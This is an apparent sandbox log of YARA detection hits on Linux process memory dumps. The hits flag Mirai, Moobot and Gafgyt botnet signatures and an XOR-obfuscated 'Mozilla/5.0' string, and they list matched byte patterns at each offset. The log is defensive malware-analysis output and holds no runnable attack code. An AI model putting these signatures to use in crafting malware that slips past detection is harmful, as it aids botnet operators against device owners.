7354.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7354.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7354.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7354.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7354.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7354.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6548.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6439.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6581.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6445.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6445.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6445.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6445.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6445.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6445.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6876.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6876.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6876.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6876.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6876.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6876.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6982.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6809.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7181.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7337.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7337.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7337.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7337.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7337.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7337.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6423.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6485.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6485.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6485.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6485.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6485.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6485.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7021.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7044.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7044.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
